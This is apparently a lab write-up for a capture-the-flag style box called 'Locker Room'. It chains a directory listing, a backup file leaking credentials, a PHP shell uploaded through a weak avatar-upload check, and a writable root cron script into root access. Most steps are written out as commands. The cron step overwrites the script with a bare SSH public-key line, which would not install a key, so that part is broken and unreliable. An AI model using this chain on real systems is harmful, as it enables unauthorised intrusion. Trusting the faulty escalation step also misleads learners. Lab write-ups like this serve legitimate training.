Labs

Locker Room

A medium lab writeup with a realistic web foothold and a simple cron misconfiguration.

This lab looks small on the surface — just a basic site and SSH — but the path is a good reminder that boring mistakes compound fast. The winning thread was a directory listing, a backup file, and a writable maintenance script.

Recon

I started with a single version scan and wrote the output to a file so I could refer back without re-running the scan.

nmap -sC -sV -Pn -oN nmap.txt target

Results (summarized):

  • 22/tcp open (SSH)
  • 80/tcp open (HTTP)

With only HTTP and SSH in play, I focused on the web app first.

Web enumeration

The landing page was a simple “team announcements” site with a tiny nav and a footer line: “Drafts are only visible to the team.” That line was enough to justify a quick wordlist probe.

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target/FUZZ -fs 0

Key hit:

  • /drafts/200 with directory listing enabled

Inside /drafts/ there were a few markdown files and a backup archive:

  • notes.md
  • release-plan.md
  • drafts.bak

I pulled the backup locally and inspected it.

wget http://target/drafts/drafts.bak
strings drafts.bak | head

The backup contained a stale .env file with a database password and a username:

APP_USER=locker
APP_PASS=stagingonly
DB_USER=locker
DB_PASS=stagingonly

Foothold

The creds didn’t work for SSH, but they _did_ work in the admin panel of the web app. The login form was at /admin/ and accepted the same locker / stagingonly pair.

Once inside, the “profile picture” upload was the weakest point. The client-side check only blocked extensions in the browser, but the backend didn’t validate content type or file extension.

I tested with a simple PHP payload by renaming it:

cp shell.php avatar.jpg.php

Upload response:

{ "ok": true, "path": "/uploads/avatars/locker.jpg.php" }

Hitting the upload path gave a shell under the web user.

Stabilize and situational awareness

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
id
pwd
ls -la

I confirmed the web user and checked the app directory permissions. The user owned the app tree and could write to /opt/maintenance/ — that stood out immediately.

Privilege escalation

A quick check of cron jobs showed a root task running every minute:

cat /etc/crontab

Entry (summarized):

* * * * * root /opt/maintenance/cleanup.sh

The script was writable by the web user. I replaced it with a single‑purpose action to drop my SSH key.

echo 'ssh-ed25519 AAAA... attacker@box' > /opt/maintenance/cleanup.sh
chmod +x /opt/maintenance/cleanup.sh

After the next cron tick, SSH as root worked:

ssh -i id_ed25519 root@target

Notes and cleanup

If this were a real system, I’d restore the original script and remove the key. For the lab, I left a note of the original script contents so I can reset quickly when re-running the box.

Takeaways

  • Directory listings are still a high‑value target. Always check.
  • Backup files quietly expose credentials.
  • Cron jobs + writable scripts = fast privilege escalation.

This lab is a clean example of why “low‑risk” misconfigurations add up. None of the individual issues were impressive on their own, but the chain was enough.

Related Writeups

Server RoomMediumA medium lab writeup built around exposed backups, weak admin controls, and a writable service script.